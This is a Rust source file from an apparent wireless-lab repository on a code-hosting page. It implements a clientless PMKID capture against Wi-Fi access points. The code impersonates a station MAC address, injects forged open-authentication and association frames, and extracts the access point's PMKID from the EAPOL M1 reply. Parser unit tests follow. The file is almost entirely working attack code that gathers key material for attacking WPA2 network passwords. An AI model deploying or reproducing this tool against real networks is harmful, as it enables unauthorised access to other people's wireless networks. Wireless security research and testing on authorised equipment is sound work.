forge
Explore
Log in

Don't you dare go Hollow

wifi_lab

Clone
★ 0

0 watching0 forksRust2.1 MiBb265998Tahinli1 month ago27 commits

pmkid.rs172 lines, 6.5 KiBHistoryRawDownload
1//! Clientless PMKID grab: authenticate (open) + associate against `ap`
2//! impersonating station MAC `sta`, then watch the wire for the AP's EAPOL
3//! M1 carrying an RSN PMKID KDE (vendor 0xdd, OUI 00-0f-ac, subtype 4).
4
5use std::time::{Duration, Instant};
6
7use anyhow::{Context, Result};
8use crossbeam_channel::Sender;
9
10use crate::common::{Event, MacAddr, PmkidCapture};
11use crate::dot11::{build_assoc_req, build_auth_open, parse_eapol, parse_eapol_key};
12use crate::radiotap::{INJECT_HDR, strip};
13use crate::rawsock::RawSocket;
14
15/// How long to watch for the M1 after associating.
16const GRAB_WINDOW: Duration = Duration::from_secs(3);
17/// Poll cadence on the socket.
18const POLL_MS: u32 = 100;
19
20/// Extract the 16-byte PMKID from an EAPOL-Key `key_data` field by walking
21/// its (vendor) IEs for KDE `dd 14 00 0f ac 04 <16 bytes>`.
22pub(crate) fn extract_pmkid(key_data: &[u8]) -> Option<[u8; 16]> {
23 let mut cur = 0usize;
24 while let (Some(&id), Some(&len)) = (key_data.get(cur), key_data.get(cur + 1)) {
25 let len = len as usize;
26 let body = key_data.get(cur + 2..cur + 2 + len)?;
27 if id == 0xdd && len >= 20 && body[0..3] == [0x00, 0x0f, 0xac] && body[3] == 4 {
28 return body.get(4..20)?.try_into().ok();
29 }
30 cur += 2 + len;
31 }
32 None
33}
34
35fn send_frame(sock: &RawSocket, frame: &[u8]) -> Result<()> {
36 let mut buf = Vec::with_capacity(INJECT_HDR.len() + frame.len());
37 buf.extend_from_slice(&INJECT_HDR);
38 buf.extend_from_slice(frame);
39 sock.send(&buf).context("pmkid: injecting frame")?;
40 Ok(())
41}
42
43/// Single PMKID grab attempt against `ap` as `sta`; `essid` fills the
44/// capture (and the association-request SSID IE). Returns `Ok(None)` on
45/// timeout — the AP simply didn't volunteer a PMKID.
46pub fn grab(
47 sock: &RawSocket,
48 ap: &MacAddr,
49 sta: &MacAddr,
50 essid: &str,
51 tx: &Sender<Event>,
52) -> Result<Option<PmkidCapture>> {
53 sock.set_timeout(POLL_MS).context("pmkid: set_timeout")?;
54
55 send_frame(sock, &build_auth_open(ap, sta, 1))?;
56 let _ = tx.send(Event::Log(format!("pmkid: open-auth sent to {ap}")));
57 send_frame(sock, &build_assoc_req(ap, sta, essid.as_bytes()))?;
58 let _ = tx.send(Event::Log(format!("pmkid: assoc-req sent to {ap}")));
59
60 let deadline = Instant::now() + GRAB_WINDOW;
61 // 16 KiB covers any real 802.11 frame; recv_msg flags over-long
62 // garbage so we drop it instead of parsing a truncated prefix.
63 let mut buf = vec![0u8; crate::rawsock::RECV_BUFSZ];
64 while Instant::now() < deadline {
65 match sock.recv_msg(&mut buf) {
66 Ok(msg) => {
67 if msg.truncated() {
68 continue;
69 }
70 let Some((_meta, frame)) = strip(&buf[..msg.len]) else {
71 continue;
72 };
73 // addr1 (receiver, at offset 4 of any 802.11 header) must
74 // be us or broadcast; the bssid side must be the target AP.
75 if frame.len() >= 10 {
76 let addr1 = MacAddr(frame[4..10].try_into().expect("6-byte slice"));
77 if addr1 != *sta && !addr1.is_broadcast() {
78 continue;
79 }
80 }
81 let Some((bssid, _ap_is_sender, eapol)) = parse_eapol(frame) else {
82 continue;
83 };
84 if bssid != *ap {
85 continue;
86 }
87 let Some(key) = parse_eapol_key(eapol) else {
88 continue;
89 };
90 // M1 shape: ACK set, MIC not yet set.
91 if !(key.key_ack && !key.key_mic) {
92 continue;
93 }
94 if let Some(pmkid) = extract_pmkid(key.key_data) {
95 return Ok(Some(PmkidCapture {
96 ap: *ap,
97 client: *sta,
98 essid: essid.to_string(),
99 pmkid,
100 }));
101 }
102 }
103 Err(e)
104 if e.kind() == std::io::ErrorKind::WouldBlock
105 || e.kind() == std::io::ErrorKind::TimedOut =>
106 {
107 continue; // poll again until the deadline
108 }
109 Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue,
110 Err(e) => return Err(e).context("pmkid: recv failed"),
111 }
112 }
113 Ok(None)
114}
115
116#[cfg(test)]
117mod tests {
118 use super::*;
119
120 #[test]
121 fn extract_pmkid_finds_rsn_kde() {
122 // dd 14 00 0f ac 04 <16-byte pmkid>
123 let mut kd = vec![0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04];
124 let pmkid = [0xabu8; 16];
125 kd.extend_from_slice(&pmkid);
126 assert_eq!(extract_pmkid(&kd), Some(pmkid));
127 }
128
129 #[test]
130 fn extract_pmkid_skips_other_ies_first() {
131 // Prepend a different vendor IE and an SSID IE before the KDE.
132 let mut kd = vec![
133 0xdd, 0x07, 0x00, 0x50, 0xf2, 0x02, 0x00, 0x01, 0x00, // WMM-ish
134 0x00, 0x03, b'f', b'o', b'o', // SSID
135 ];
136 let pmkid = [0x42u8; 16];
137 kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]);
138 kd.extend_from_slice(&pmkid);
139 assert_eq!(extract_pmkid(&kd), Some(pmkid));
140 }
141
142 #[test]
143 fn extract_pmkid_rejects_wrong_subtype_and_oui() {
144 // subtype 6 (GTK KDE) must not match.
145 let gtk = [0xdd, 0x14, 0x00, 0x0f, 0xac, 0x06];
146 assert_eq!(extract_pmkid(&gtk), None);
147 // different OUI (00 50 f2 = Microsoft) must not match.
148 let msft = [0xdd, 0x14, 0x00, 0x50, 0xf2, 0x04];
149 assert_eq!(extract_pmkid(&msft), None);
150 // Truncated PMKID body (len < 20) → None.
151 let short = [0xdd, 0x08, 0x00, 0x0f, 0xac, 0x04, 1, 2];
152 assert_eq!(extract_pmkid(&short), None);
153 // Empty input.
154 assert_eq!(extract_pmkid(&[]), None);
155 // Truncated trailing IE (len overruns buffer) → None.
156 let overrun = [0xdd, 0x14, 0x00, 0x0f];
157 assert_eq!(extract_pmkid(&overrun), None);
158 }
159
160 #[test]
161 fn extract_pmkid_ignores_non_keydata_rsn_style() {
162 // The RSN IE itself (id 48 = 0x30) contains a PMKID list at its tail,
163 // but our caller passes key_data KDEs only; an id-0x30 IE must be
164 // skipped, not misparsed.
165 let mut kd = vec![0x30, 0x14];
166 kd.extend_from_slice(&[0u8; 20]); // rsn body filler
167 let pmkid = [0x11u8; 16];
168 kd.extend_from_slice(&[0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]);
169 kd.extend_from_slice(&pmkid);
170 assert_eq!(extract_pmkid(&kd), Some(pmkid));
171 }
172}